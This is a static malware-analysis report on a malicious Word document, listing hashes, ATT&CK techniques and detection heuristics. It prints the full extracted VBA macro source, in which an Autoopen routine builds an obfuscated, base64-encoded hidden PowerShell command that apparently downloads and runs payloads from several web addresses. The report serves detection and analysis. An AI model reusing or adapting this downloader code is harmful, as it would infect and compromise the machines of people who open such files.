Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c4f0377f14559f12…

MALICIOUS

Office (OLE)

101.5 KB Created: 2018-05-31 07:19:00 Authoring application: Microsoft Office Word First seen: 2018-07-08
MD5: 1236ff8f54d16a65d4b8769e898751dc SHA-1: dcda29c090dc9a43ad1af20f7b053939a27c3047 SHA-256: c4f0377f14559f123dccc3336687fceeb532ddd392be2d1fe16a7867513c8af9
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. The Autoopen macro triggers the execution of a function that uses the Shell() command. This function constructs a PowerShell command, likely to download and execute a secondary payload. The critical heuristic firing for Shell() call in VBA and the high heuristic for p-code auto-exec with execution tokens strongly indicate this behavior.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    End Select
NvKmETl = tKazInTdh + Shell(djmBM + Chr(vbKeyP) + CcNwtpYQY + IYEncm + FOvKdSKHji + BzBzhLLXOU + RZhEkd + WZKGFVvu + OZakWpZuiz + qzBjFCNI + cnjbtaJ, WpSbXuQ + vbHide + GUBTtdSlM)
Select Case KAlnnnUw
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub Autoopen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17729 bytes
SHA-256: 944ba33d584d5681aff14fb9c77a4e7ba31846d97b95335348dadb884ce4f7e9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ZTsvwzjim"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function NvKmETl()
On Error Resume Next
Select Case KAlvMmdlX
      Case 60808
         bwbWF = 73907
         lCIwAF = CDbl(23683)
      Case 94154
         DujPpv = GkXmq
         OidkNf = 98117
End Select
Select Case KAlZwNaKW
      Case 93178
         lniPEa = 83340
         QRfoUl = CDbl(65563)
      Case 444
         KndUQr = zwdwTp
         ZLiwjD = 52173
End Select
NvKmETl = tKazInTdh + Shell(djmBM + Chr(vbKeyP) + CcNwtpYQY + IYEncm + FOvKdSKHji + BzBzhLLXOU + RZhEkd + WZKGFVvu + OZakWpZuiz + qzBjFCNI + cnjbtaJ, WpSbXuQ + vbHide + GUBTtdSlM)
Select Case KAlnnnUw
      Case 99893
         RnPNc = 65
         SIVwCR = CDbl(16551)
      Case 94938
         XamGcq = wwWoAq
         wujnip = 62616
End Select
End Function
Sub Autoopen()
On Error Resume Next
Select Case KAlMiqtW
      Case 55140
         AJNpsQ = 87111
         tibAR = CDbl(31507)
      Case 10634
         hcbZB = idHOR
         HPjTK = 22249
End Select
NvKmETl
Select Case KAlNaKzQC
      Case 69162
         EDpPpH = 36442
         QvDlf = CDbl(58767)
      Case 69679
         iwfCdz = pFUsl
         iKWRi = 50422
End Select
End Sub


Attribute VB_Name = "SzbGoGSYHa"
Function CcNwtpYQY()
On Error Resume Next
Select Case KAlOaJcR
      Case 7422
         clKSob = 20168
         rzQms = CDbl(51600)
      Case 71453
         HEuRn = CKtfs
         VTTRl = 19872
End Select
ziJEzOW = "owersHeLL -WinD" + "owsTyle hidden" + " -e IAAm" + "ACgAIAAoAFsAcw" + "BUAHI" + "ASQBOAGc" + "AXQAkAFYARQB"
Select Case KAluCdna
      Case 64320
         TvWJzw = 56921
         CXXmq = CDbl(18095)
      Case 67277
         ZIiDzX = wBiCqH
         QTkLzG = 77658
End Select
VRRHQOuQDw = "SAEIATwBzAG" + "UAUAByAEU" + "ARgBlA" + "FIAZQBOAEMAR"
Select Case KAlivcGQv
      Case 89952
         TOLDEf = 85181
         bvRXIP = CDbl(88389)
      Case 74656
         ZHDCf = bKpam
         tGiDCP = 77554
End Select
ClYnAifc = "QApAFsAMQ" + "AsADM" + "AXQArACcAWAAnAC" + "0AagBPAEkAbgA" + "nACcAKQAgAC" + "gAKAAoACcANg" + "BmAFcAbgBzAGEA"
Select Case KAlEYlbGk
      Case 7814
         QbTBqw = 83375
         qwoEjs = CDbl(28177)
      Case 8806
         ChojT = zFHDA
         cvuFm = 88924
End Select
Tocvab = "ZABhACcAKw" + "AnAHMAZAAgAD0" + "AIAAmACcAKw" + "AnACgAJwArACcA" + "TgAnA"
Select Case KAlHlkuP
      Case 88285
         FajvL = 19880
         VEDPGw = CDbl(42862)
      Case 36966
         iuqTOA = wwwBzU
         mYpGz = 48533
End Select
qrjciHCdDT = "CsAJwBw" + "AG0AbgBOACcA" + "KwAnA" + "HAAJwArA"
Select Case KAlLsqoH
      Case 83612
         qjzrop = 4485
         YawFj = CDbl(71330)
      Case 98615
         JjBmQ = QqWtaX
         AfGJC = 16120
End Select
HHSYbVYl = "CcAbQAnACs" + "AJwArAE4AJwArA" + "CcAcABtAGUATgBw" + "AG0AKwBOAH" + "AAJwA"
CcNwtpYQY = ziJEzOW + VRRHQOuQDw + ClYnAifc + Tocvab + qrjciHCdDT + HHSYbVYl
End Function
Function IYEncm()
On Error Resume Next
Select Case KAlBJJfP
      Case 74703
         OHuskM = 60513
         EFEbzP = CDbl(13518)
      Case 40098
         OfzYvs = dcjLza
         XdqCi = 53490
End Select
wkkKFwEtjBY = "rACcAb" + "QB3AC0AbwB" + "iAGoAJw" + "ArACcAZQBjA" + "CcAKwAnAE" + "4AcABtACsATgBwA" + "G0AdAAnACsAJ" + "wBOACcAKwAnAHA" + "AJwArACcAbQ"
Select Case KAlpLWTa
      Case 2078
         bIAuo = 29060
         jpbTP = CDbl(97929)
      Case 28276
         dThdj = zINYts
         UaEUq = 82974
End Select
tjVdCAj = "AnACs" + "AJwApAC" + "cAKwA" + "nACAA" + "cgBhAG4AZAAnA" + "CsAJwBvAG0AOwA" + "2AGYAVwB" + "ZACcAKwAnA" + "FkAVQAg" + "AD0AIAAuACgAT"
Select Case KAlTiRKL
      Case 11201
         oPjScm = 64182
         DmwRXi = CDbl(414)
      Case 75390
         vWrPO = wYHMo
         BWSdtJ = 87298
End Select
iHYuiPiNs = "gBwAG0Ab" + "gBlAE4A" + "JwArACcA" + "cABtACcAKwAnA"
Select Case KAlGQFrmX
      Case 36203
         ZTXTv = 92719
         pOXZs = CDbl(71352)
      Case 87944
         atnBP = niUGJP
         QzdrDZ = 98859
End Select
WwNcWcrjmP = "CsATgB" + "wAG0AdwBOAHAA" + "bQArA" + "E4AJwAr" + "ACcAcABtAC0AJwA" + "rACcAbwBiACcAKw"
Select Case KAloUzFHd
      Case 28855
         kAtMv = 61227
         wWDtlp = CDbl(6705)
      Case 24611
         jjYPui = LujlYo
         IBYIkG = 30926
End Select
vQVnaPskEbz = "AnAGoA" + "ZQAnACsAJwBjA" + "CcAKwAnAHQ" + "ATgBwAG0AKQA" + "gAFMAeQBzAHQ" + "AZQBtAC" + "4ATgBlAHQA" + "JwArACcALgBXA" + "CcAKwA" + "nAGUAJ"
Select Case KAlkkAfV
      Case 1227
         NzlHMY = 45886
         zbBLh = CDbl(34578)
      Case 27243
         aKausM = TGWdwn
         PNoij = 65039
End Select
RXKBOa = "wArACcAYgAnA" + "CsAJwBD" + "AGwAaQAnACs" + "AJwBlA" + "G4AdAA7ADYA" + "JwArACcAZgB" + "XAE4A"
Select Case KAlQbWkw
      Case 48823
         iuilWq = 49783
         uFoAS = CDbl(34888)
      Case 2323
         vYQjMo = DljuJ
         DKvnwk = 23393
End Select
PZiEORuT = "UwBCACA" + "AJwArACcAPQAgA" + "DYAZgAn" + "ACsAJ"
Select Case KAlsczpuS
      Case 66211
         fPiPkb = 22235
         pVuXiz = CDbl(80932)
      Case 92839
         mrvsN = hpCCw
         uRWoM = 10395
End Select
jwIaR = "wBXAG" + "4AcwAnACsAJ" + "wBhAGQA" + "YQAnAC" + "sAJwBzACcAKwAn"
Select Case KAlLuzcw
      Case 30803
         dpoJsm = 2537
         IbmwS = CDbl(90051)
      Case 500
         iYPMvD = iSuYk
         oOzcO = 83033
End Select
SVPFM = "AGQAJwArACcALg" + "BuAGUAeAB0ACc" + "AKwAnA" + "CgAMQAnACsAJwA"
Select Case KAlAtKKRV
      Case 18254
         CNmWLT = 29872
         jDDZR = CDbl(12842)
      Case 81693
         NQDUMp = DDIao
         EuZud = 61708
End Select
bNiIrl = "wADAAMAA" + "nACsAJwAwACw" + "AIAAnACsAJwAy" + "ACcAKwAnADgAJwA" + "rACcAMgAx"
IYEncm = wkkKFwEtjBY + tjVdCAj + iHYuiPiNs + WwNcWcrjmP + vQVnaPskEbz + RXKBOa + PZiEORuT + jwIaR + SVPFM + bNiIrl
End Function
Function FOvKdSKHji()
On Error Resume Next
Select Case KAlHCYBY
      Case 20697
         YLRat = 5947
         wBRpi = CDbl(24502)
      Case 83887
         SDtaqi = dfoal
         LsBvBb = 95293
End Select
jjMYzs = "ADMAMwAn" + "ACsAJwApADsAN" + "gBmAFcAQQ" + "BEAEMAWAA" + "gAD0AIAAnAC" + "sAJwBOAC" + "cAKwAnAHAAb" + "QANACcAK"
Select Case KAllhjlBI
      Case 87875
         EuTMZ = 68187
         IzUiQ = CDbl(66548)
      Case 74690
         SRVlIP = jkuqhV
         poWPU = 50276
End Select
SqoESFk = "wAnAA" + "oAaAB" + "0AHQAc" + "AA6AC8ALwBm"
Select Case KAlHYRbWt
      Case 95478
         shJwwO = 39296
         XksLOi = CDbl(36392)
      Case 66733
         AvIjM = NMsLs
         JmWwz = 84440
End Select
GCMVrYmINjW = "AGEAYw" + "BpAHUAc" + "wBhAC4AYwBv" + "AG0ALwBMAEkAY" + "wAnACsAJwBDAGs" + "ALwBAAGg" + "AdAB0AHAAOgA" + "vAC8AcABlAG4Ad"
Select Case KAlhiZwU
      Case 16375
         icPfYF = 66027
         WzoAj = CDbl(62533)
      Case 91586
         ECcaNw = OOqGB
         awoXN = 43589
End Select
wrdSkt = "ABvACc" + "AKwAnA" + "HgALgAnA" + "CsAJwBoAHUA"
Select Case KAlzMmmWj
      Case 30952
         HzLjl = 92129
         vshlj = CDbl(10888)
      Case 415
         izjFv = AcTJJ
         rPpEdi = 96142
End Select
tdUpO = "LwB3AHcAJwArA" + "CcATABqA" + "C8AJwArACcAQA" + "BoAHQAdABwA" + "DoALwAvA" + "GkAbQAnACsAJwB" + "hAGcA" + "JwArACcAZQ" + "BzACcAKwAnAG" + "IAcgAuAGMAbw"
FOvKdSKHji = jjMYzs + SqoESFk + GCMVrYmINjW + wrdSkt + tdUpO
End Function
Function BzBzhLLXOU()
On Error Resume Next
Select Case KAlOfaQY
      Case 10892
         vqbqj = 95006
         EmpiUX = CDbl(12197)
      Case 43674
         WbHdjC = HwHsCD
         QjpAF = 73680
End Select
UzPIjGacRw = "AnACsAJw" + "BtAC8AVwAxACcA" + "KwAnAG0AJwAr" + "ACcANAAnACsAJw" + "BKAEwANA"
Select Case KAlTdrwLC
      Case 27416
         NaBsmE = 78217
         cUsMT = CDbl(85567)
      Case 47198
         sBNZz = XAkACw
         jVzPI = 70090
End Select
zSsXiYQ = "AnACsAJwAvACcA" + "KwAnAEAAJw" + "ArACcAaAAnAC" + "sAJwB0AHQA" + "JwArAC" + "cAcAA"
Select Case KAlrKQVbP
      Case 26385
         NZXaFm = 8241
         poBiD = CDbl(875)
      Case 15125
         BqAvzs = KIrNil
         ziQsnK = 55328
End Select
CAwmTPz = "6AC8ALw" + "ByAGEAbABmAC0" + "AJwArACcAa" + "wBlAHIAJwA" + "rACcA"
Select Case KAltdcLKa
      Case 15221
         dqCiT = 71300
         SfUbN = CDbl(36122)
      Case 26021
         WYwqT = LMwJZ
         XTohWC = 12659
End Select
zlwNMJ = "bgAnACsAJ" + "wAuACcAK" + "wAnAG" + "QAZQA" + "vAHQAcgB" + "wACcAK" + "wAnAGUAdg" + "ByAGMAJwArACcA"
BzBzhLLXOU = UzPIjGacRw + zSsXiYQ + CAwmTPz + zlwNMJ
End Function
Function RZhEkd()
On Error Resume Next
Select Case KAlWfGYM
      Case 36959
         MTiPJf = 9057
         mNjoj = CDbl(35825)
      Case 58112
         Vunrz = mEKMzC
         RYdzTw = 87360
End Select
zRlTfnc = "LwBAAGgAJwA" + "rACcAdA" + "AnACsAJwB0A" + "CcAKwAnAHAAOgAn" + "ACsAJ"
Select Case KAltQSSM
      Case 2364
         nNXvs = 51075
         iZbzVj = CDbl(57610)
      Case 9193
         fCQVpG = PTkrbi
         YmqSR = 93879
End Select
TGMUMjuVM = "wAvAC8A" + "bgB1A" + "CcAKwAnAHQA" + "cgAnACsAJwBpAHM" + "AZQBhAC4Ab"
Select Case KAlEKPfuE
      Case 46397
         dMkpS = 73699
         wfihY = CDbl(13930)
      Case 52255
         jKzDC = iOMHI
         sApvBQ = 92336
End Select
ZQzlzQ = "gAnACsAJwBlAHQA" + "LwAnACsAJwBV" + "ACcAKw" + "AnAEg" + "AJwAr" + "ACcAMABKACcAK"
Select Case KAlXHmLjI
      Case 81119
         nkYhd = 4738
         VuAVGw = CDbl(97774)
      Case 46195
         KLXvqj = HLljcY
         UuWUab = 69027
End Select
ZOtzS = "wAnADAAcA" + "AvAE4AcAB" + "tAC4AUwAnAC" + "sAJwBw" + "AGwAaQB0AC" + "gATgBwAG0A"
Select Case KAlzpUTAA
      Case 91508
         rZjFAX = 70501
         TEFQWs = CDbl(36195)
      Case 8003
         GjbkiY = zkOibW
         iMWtKs = 36370
End Select
wTAEaoK = "JwArACcAQAB" + "OAHAAbQ" + "ApADsA" + "NgBmAFc" + "AUwBEAEMA" + "JwArACcAIAA9" + "ACAANgAnAC" + "sAJwBmAFcAJ" + "wArACcAZ" + "QBuACc"
Select Case KAlwJcAVV
      Case 37750
         EXQWu = 39918
         EMAmI = CDbl(30686)
      Case 18395
         TwVaE = wILiT
         RIdCad = 63304
End Select
EiXBjrmrVT = "AKwAnAHYA" + "JwArACcAOgBwA" + "CcAKwAn" + "AHUAYg" + "BsAGkAYw"
Select Case KAlLKAoJ
      Case 84391
         hKGKX = 75481
         IDzvP = CDbl(6530)
      Case 11311
         FrblC = jzLijA
         IwhQMi = 34070
End Select
ujiusS = "AnACsAJwAgA" + "CcAKwAnACsA" + "IABOACcA" + "KwAnAH" + "AAbQBsADU" + "AJwArACc" + "ASwBOAH" + "AAbQAgACsAI" + "AAnACsAJwA2AGY" + "AVwBOAFMAQgAgAC"
Select Case KAlETvwKz
      Case 49410
         fNdDw = 10785
         NYpUz = CDbl(24461)
      Case 90325
         onPzHS = DUoQAX
         przJuf = 31683
End Select
ECOCiGzco = "sAIAAoACc" + "AKwAnAE4" + "AcABtAC" + "4AZQB4ACcAK" + "wAnAE4AcAAnACs" + "AJwBtACsAT"
Select Case KAlwvDnU
      Case 85661
         OTlJn = 13763
         vzRkB = CDbl(20316)
      Case 17551
         fFlhi = XoSPPi
         UwUwlj = 11450
End Select
OohXiCNb = "gBwACcAK" + "wAnAG0AZ" + "QAnACs" + "AJwBOAHAAbQ" + "ApADsAZg" + "BvAHIAZQBhAGMA" + "aAAoADYAZgBXA"
RZhEkd = zRlTfnc + TGMUMjuVM + ZQzlzQ + ZOtzS + wTAEaoK + EiXBjrmrVT + ujiusS + ECOCiGzco + OohXiCNb
End Function
Function WZKGFVvu()
On Error Resume Next
Select Case KAlfqkYj
      Case 93092
         rJiFwj = 29376
         CmJZrf = CDbl(36620)
      Case 89685
         YRaCz = PdDvAO
         JCBZw = 16347
End Select
ViUmjMjrsiV = "CcAKwAnAGEAJw" + "ArACcAcwB" + "mAGMAI" + "AAnACsAJ" + "wBpACc" + "AKwAnAG4AIAA2" + "AGYAJwAr" + "ACcAVwBB" + "AEQAQwAnACsAJw" + "BYACkAJwArACcA"
Select Case KAlKmKFwS
      Case 23697
         HOoMwN = 299
         VvuXO = CDbl(53741)
      Case 86955
         OjBcHX = iKKNl
         VEfZn = 43356
End Select
uzWNPHTFh = "ewB0ACcAK" + "wAnAHIAeQB7ADY" + "AJwArACcAZgBX" + "AFkAWQBV"
Select Case KAlGoSnJn
      Case 60685
         CkVitY = 81714
         QjVjw = CDbl(12451)
      Case 3223
         AOGArO = bFEfaR
         TTsof = 49859
End Select
YkEhWctasKM = "ACcAK" + "wAnAC" + "4AcQAnA" + "CsAJwBXA" + "DEARABvAEsAa" + "gAnACsAJ" + "wAyAFcAb"
Select Case KAlfsjipO
      Case 81014
         nszmf = 74615
         jfmomu = CDbl(55244)
      Case 78264
         PzCQBr = abzVW
         VBAII = 35306
End Select
jjjsDJSYaz = "gBsAEsAagAyAE8A" + "YQBkAEYA" + "SQBLACc" + "AKwAn" + "AGoAMgBsA" + "GUAcQBXACcAK" + "wAnADE" + "AKAAnACsAJ"
Select Case KAlfnlbY
      Case 74286
         BrntC = 7032
         OsMaQv = CDbl(69954)
      Case 47740
         iRYJJ = nilKcN
         LarOiG = 68119
End Select
liPzrjkov = "wA2AGY" + "AVwBhACcAKw" + "AnAHM" + "AJwArACcAZgAn" + "ACsAJwBjACcAKw" + "AnAC4AcQBX" + "ADEAVABvAFMAd"
Select Case KAlDSShGJ
      Case 77899
         rWbGdD = 19593
         dDREJ = CDbl(15730)
      Case 84560
         cmhliB = ipWiw
         bDbww = 88706
End Select
sHOokl = "AByACcAK" + "wAnAE" + "sAJwAr" + "ACcAagAnACsAJw" + "AyAGkASwBq" + "ADIAJwArACcA" + "TgAnACsAJwB" + "nAHEAVwAxA" + "CgAKQAnACsAJw"
WZKGFVvu = ViUmjMjrsiV + uzWNPHTFh + YkEhWctasKM + jjjsDJSYaz + liPzrjkov + sHOokl
End Function
Function OZakWpZuiz()
On Error Resume Next
Select Case KAlAGwHQr
      Case 72020
         pfivar = 9404
         cCzpE = CDbl(95639)
      Case 33447
         YLtBz = FMOEaV
         ZVrQqp = 19537
End Select
wIwcNUC = "AsACcAKwAnACA" + "ANgAn" + "ACsAJwB" + "mAFcAJw"
Select Case KAljXPWkw
      Case 92615
         EjCpsi = 9179
         jbzZSh = CDbl(43854)
      Case 31104
         fCjHZN = HOpni
         PrJPJU = 46862
End Select
vYjKCDkqMm = "ArACcAU" + "wBEAEMAKQAnACs" + "AJwA7AC" + "cAKwAnACYAKA" + "AnACsAJwBOA"
Select Case KAlvqQuhP
      Case 81043
         ZBBwnF = 91318
         pfVui = CDbl(56783)
      Case 86594
         SEMHQ = XCrCj
         QNswS = 44218
End Select
utISoG = "HAAbQBJACc" + "AKwAnAG4AJwArA" + "CcAdgB" + "vAE4AcABtACsAJ" + "wArACcAT" + "gBwAG0AJwArA" + "CcAawB" + "OAHAAbQ" + "ArAE4AcAAnACs"
Select Case KAlnmfrKw
      Case 88476
         iziwSz = 99115
         cDiTXi = CDbl(98216)
      Case 13616
         VjzcnX = LoFfmM
         LWctD = 25981
End Select
BrvwSLWQj = "AJwBtAGUALQB" + "JACcAKwA" + "nAHQAJwAr" + "ACcAZQ" + "BtAE4AcABtACcAK" + "wAnACkAKAA2AG" + "YAVwBTAC" + "cAKwAnAEQAJwA" + "rACcAQ"
Select Case KAlROQlP
      Case 90388
         DRJnYG = 77884
         uzrbC = CDbl(75873)
      Case 57579
         UoQBXw = kwthEV
         qXcrHW = 91187
End Select
owFOsaOUtX = "wApACcA" + "KwAnADsAYgByA" + "CcAKwAnAGUAJw" + "ArACcAYQBrAC"
OZakWpZuiz = wIwcNUC + vYjKCDkqMm + utISoG + BrvwSLWQj + owFOsaOUtX
End Function
Function qzBjFCNI()
On Error Resume Next
Select Case KAlNGNwbi
      Case 4450
         KQnVww = 98315
         MGWZrf = CDbl(47088)
      Case 69431
         MHTzKf = zcaJn
         URiUi = 33302
End Select
rODlYTwD = "cAKwAnADs" + "AfQBjAGEAdABjA" + "GgAewB9AC" + "cAKwAnA"
Select Case KAlzmtYi
      Case 60291
         zWAii = 56808
         PWjcA = CDbl(70133)
      Case 61052
         TVpGo = FqWwHS
         ZOuQfi = 14940
End Select
GvCDwfZ = "H0AJwApA" + "CAALQBSAE" + "UAUABsAGEAQwBF" + "ACAAIAA" + "nAEsAag" + "AyACcALA" + "BbAEMASA" + "BhAFIA" + "XQA5ADYA"
Select Case KAlbsbJRF
      Case 89686
         sijlbS = 45051
         crPufi = CDbl(73205)
      Case 51744
         PpIoL = FXzsd
         wWjKr = 58902
End Select
RFBQcROVs = "IAAtAFIARQBQ" + "AGwAYQBDAEUA" + "KABbAEMAS" + "ABhAFIAXQAxAD" + "AAOAArAFsA" + "QwBIAGEAUgBdA"
Select Case KAlahQHq
      Case 21539
         oPNvzG = 1179
         BQmKjN = CDbl(52627)
      Case 25746
         atVfUi = nzYAcw
         RdXjpK = 2879
End Select
aNzppqAz = "DUAMwArA" + "FsAQwBIAGEAUgB" + "dADcANQApACwAW" + "wBDAEg" + "AYQBSAF0A"
Select Case KAlXNzVQY
      Case 63821
         AwUmhw = 80701
         ThdIz = CDbl(65832)
      Case 60
         ChUhI = lCcfWH
         zSKGBX = 3128
End Select
bvoCz = "OQAyACAALQBj" + "AHIAZQ" + "BwAEwAQQB" + "DAGUAKABbAEMASA" + "BhAFIAXQAx" + "ADEAMwArAFsAQ"
qzBjFCNI = rODlYTwD + GvCDwfZ + RFBQcROVs + aNzppqAz + bvoCz
End Function
Function cnjbtaJ()
On Error Resume Next
Select Case KAlMBUnO
      Case 24506
         jtzpN = 51750
         iDApT = CDbl(25340)
      Case 33412
         BaibU = TBwKw
         qjAtu = 39195
End Select
ihzZi = "wBIAG" + "EAUgBdADgANwAr" + "AFsAQwBIAGEAU" + "gBdADQAOQApACw" + "AWwBDAEgA" + "YQBSAF0"
Select Case KAlWjihuH
      Case 63158
         HGLEor = 4161
         uFnrtN = CDbl(83175)
      Case 1036
         ONbBDG = wjvaTt
         UniMvl = 11255
End Select
DGqjQqKhwa = "AMwA0ACAAL" + "QBjAH" + "IAZQBwAE" + "wAQQBDAGUAIA" + "AoAFsAQw" + "BIAGEAUgBdA" + "DUANAArAFs" + "AQwBIAGEAUgBdAD"
Select Case KAlWohFo
      Case 14634
         jIshCf = 88368
         iDzQF = CDbl(8803)
      Case 92855
         jARSDP = vPYFq
         UzRnWA = 73280
End Select
PEPWEz = "EAMAA" + "yACsAWwBDAEgAYQ" + "BSAF0AOAA3AC" + "kALABb" + "AEMASABhAFIA" + "XQAzADYA"
Select Case KAllqIaiv
      Case 17136
         UAFaNB = 10282
         oYTHw = CDbl(35414)
      Case 57061
         DSOFhc = EKsuJJ
         VTszuY = 99309
End Select
nUtwPmmitO = "IAAtAFIAR" + "QBQAGwAYQBDA" + "EUAJwBOAHAAbQAn" + "ACwAWwBDAE" + "gAYQBSAF0AMwA" + "5ACkAKQA="
cnjbtaJ = ihzZi + DGqjQqKhwa + PEPWEz + nUtwPmmitO
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.